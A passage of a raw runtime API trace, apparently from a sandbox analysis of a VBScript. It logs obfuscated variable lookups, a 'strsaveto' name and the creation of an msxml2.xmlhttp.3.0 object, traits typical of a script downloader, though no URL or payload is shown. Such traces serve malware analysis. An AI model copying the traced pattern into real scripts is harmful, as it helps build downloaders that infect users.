(_Block=0x11977f0) [0068.948] free (_Block=0x11c20a0) [0068.948] free (_Block=0x11c1e90) [0068.948] free (_Block=0x83d71e0) [0068.948] ??3@YAXPAX@Z () returned 0xb60001 [0068.948] ??3@YAXPAX@Z () returned 0x3a0001 [0068.948] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.949] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="xport", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.949] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="xport", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.949] GetCurrentThreadId () returned 0xd44 [0068.949] IUnknown:Release (This=0x1197760) returned 0x5 [0068.949] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.949] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="strsaveto", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.949] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="strsaveto", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.949] GetCurrentThreadId () returned 0xd44 [0068.949] IUnknown:Release (This=0x1197760) returned 0x5 [0068.950] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.950] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="uqredvgyd", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.950] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="uqredvgyd", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.950] GetCurrentThreadId () returned 0xd44 [0068.950] IUnknown:Release (This=0x1197760) returned 0x5 [0068.950] realloc (_Block=0x844b2e8, _Size=0x500) returned 0x11c1e90 [0068.950] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.950] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="hrc", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.950] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="hrc", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.950] GetCurrentThreadId () returned 0xd44 [0068.950] IUnknown:Release (This=0x1197760) returned 0x5 [0068.950] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.951] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="njigh", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.951] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="njigh", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.951] GetCurrentThreadId () returned 0xd44 [0068.951] IUnknown:Release (This=0x1197760) returned 0x5 [0068.951] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.951] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ghwrthytketuketkryumktymjkur", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.951] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ghwrthytketuketkryumktymjkur", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.951] GetCurrentThreadId () returned 0xd44 [0068.951] IUnknown:Release (This=0x1197760) returned 0x5 [0068.952] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.952] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vi", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.952] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vi", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.952] GetCurrentThreadId () returned 0xd44 [0068.952] IUnknown:Release (This=0x1197760) returned 0x5 [0068.952] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.952] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="yyuyuy", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.952] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="yyuyuy", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.952] GetCurrentThreadId () returned 0xd44 [0068.952] IUnknown:Release (This=0x1197760) returned 0x5 [0068.952] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.952] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="te", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.952] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="te", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.952] GetCurrentThreadId () returned 0xd44 [0068.952] IUnknown:Release (This=0x1197760) returned 0x5 [0068.953] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.953] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="lmknk", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.953] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="lmknk", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.953] GetCurrentThreadId () returned 0xd44 [0068.953] IUnknown:Release (This=0x1197760) returned 0x5 [0068.953] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.953] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="quote", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.953] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="quote", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.953] GetCurrentThreadId () returned 0xd44 [0068.953] IUnknown:Release (This=0x1197760) returned 0x5 [0068.954] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.954] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="jrjrrarjr", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.954] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="jrjrrarjr", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.954] GetCurrentThreadId () returned 0xd44 [0068.954] IUnknown:Release (This=0x1197760) returned 0x5 [0068.954] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.954] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="eirgwr22gyig2r", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.954] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="eirgwr22gyig2r", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.954] GetCurrentThreadId () returned 0xd44 [0068.954] IUnknown:Release (This=0x1197760) returned 0x5 [0068.954] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.954] malloc (_Size=0x804) returned 0x8790008 [0068.954] ??2@YAPAXI@Z () returned 0x8460768 [0068.955] ??3@YAXPAX@Z () returned 0x1 [0068.955] malloc (_Size=0x204) returned 0x8790818 [0068.955] malloc (_Size=0x40) returned 0x11977f0 [0068.955] malloc (_Size=0x164) returned 0x8460768 [0068.955] ??2@YAPAXI@Z () returned 0x1129260 [0068.955] free (_Block=0x83d08e0) [0068.955] free (_Block=0x8790008) [0068.955] ??3@YAXPAX@Z () returned 0x740001 [0068.955] free (_Block=0x11977f0) [0068.955] free (_Block=0x8790818) [0068.955] free (_Block=0x11c2398) [0068.955] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.955] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.955] IUnknown:AddRef (This=0x1197760) returned 0x6 [0068.955] CLSIDFromProgIDEx (in: lpszProgID="msxml2.xmlhttp.3.0", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0xf5078f35, Data2=0xc551, Data3=0x11d3, Data4=([0]=0x89, [1]=0xb9, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1f, [6]=0xe2, [7]=0x21))) returned 0x0 [0068.962] SysStringLen (param_1=0x0) returned 0x0 [0068.962] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0xf5078f35, Data2=0xc551, Data3=0x11d3, Data4=([0]=0x89, [1]=0xb9, [2]=0x0, [3]=0x0, [4]=0xf8, [5]=0x1f, [6]=0xe2, [7]=0x21)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x72b7d5f8) returned 0x0 [0068.967] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d5f8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0068.967] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d5f8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x554600) returned 0x0 [0068.968] DOMDocument:IUnknown:AddRef (This=0x72b7d5f8) returned 0x1 [0068.968] DOMDocument:IUnknown:QueryInterface (in: This=0x554600, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x5540fc) returned 0x0 [0068.968] ??2@YAPAXI@Z () returned 0x1112a88 [0068.968] DOMDocument:IObjectWithSite:SetSite (This=0x5540fc, pUnkSite=0x1112a88) returned 0x0 [0068.968] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bee8 | out: ppvObject=0x14bee8*=0x0) returned 0x80004002 [0068.968] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bed8 | out: ppvObject=0x14bed8*=0x0) returned 0x80004002 [0068.968] DOMDocument:IUnknown:AddRef (This=0x1112a88) returned 0x2 [0068.968] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf98 | out: ppvObject=0x14bf98*=0x1112a88) returned 0x0 [0068.968] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aef8 | out: ppvObject=0x14aef8*=0x1112a88) returned 0x0 [0068.968] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aecc | out: ppvObject=0x14aecc*=0x0) returned 0x80004002 [0068.968] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae60 | out: ppvObject=0x14ae60*=0x83fd480) returned 0x0 [0068.968] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae5c | out: ppvObject=0x14ae5c*=0x83fd490) returned 0x0 [0068.968] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aecc | out: ppvObject=0x14aecc*=0x0) returned 0x80004002 [0068.968] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.968] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.968] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14aed4 | out: ppvObject=0x14aed4*=0x0) returned 0x80004002 [0068.968] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae60 | out: ppvObject=0x14ae60*=0x83fd480) returned 0x0 [0068.968] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae5c | out: ppvObject=0x14ae5c*=0x83fd490) returned 0x0 [0068.969] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14aed4 | out: ppvObject=0x14aed4*=0x0) returned 0x80004002 [0068.969] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.969] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.969] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.969] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae60 | out: ppvObject=0x14ae60*=0x83fd480) returned 0x0 [0068.969] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae5c | out: ppvObject=0x14ae5c*=0x83fd490) returned 0x0 [0068.969] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.969] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.969] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.969] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.969] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ae60 | out: ppvObject=0x14ae60*=0x83fd480) returned 0x0 [0068.969] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14ae5c | out: ppvObject=0x14ae5c*=0x83fd490) returned 0x0 [0068.969] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14aef4 | out: ppvObject=0x14aef4*=0x0) returned 0x80004002 [0068.969] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.969] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.969] DOMDocument:IUnknown:Release (This=0x1112a88) returned 0x3 [0068.969] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0068.969] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aee8 | out: ppvObject=0x14aee8*=0x0) returned 0x80004002 [0068.969] DOMDocument:IUnknown:QueryInterface (in: This=0x1112a88, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14af04 | out: ppvObject=0x14af04*=0x1112a88) returned 0x0 [0068.970] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aef0 | out: ppvObject=0x14aef0*=0x0) returned 0x80004002 [0068.970] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aeb8 | out: ppvObject=0x14aeb8*=0x83fd480) returned 0x0 [0068.970] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aeb4 | out: ppvObject=0x14aeb4*=0x83fd490) returned 0x0 [0068.970] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aef0 | out: ppvObject=0x14aef0*=0x0) returned 0x80004002 [0068.970] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.970] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.970] DOMDocument:IServiceProvider:QueryService (in: This=0x1112a88, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14af00 | out: ppvObject=0x14af00*=0x0) returned 0x80004002 [0068.970] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14aeb8 | out: ppvObject=0x14aeb8*=0x83fd480) returned 0x0 [0068.970] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14aeb4 | out: ppvObject=0x14aeb4*=0x83fd490) returned 0x0 [0068.970] 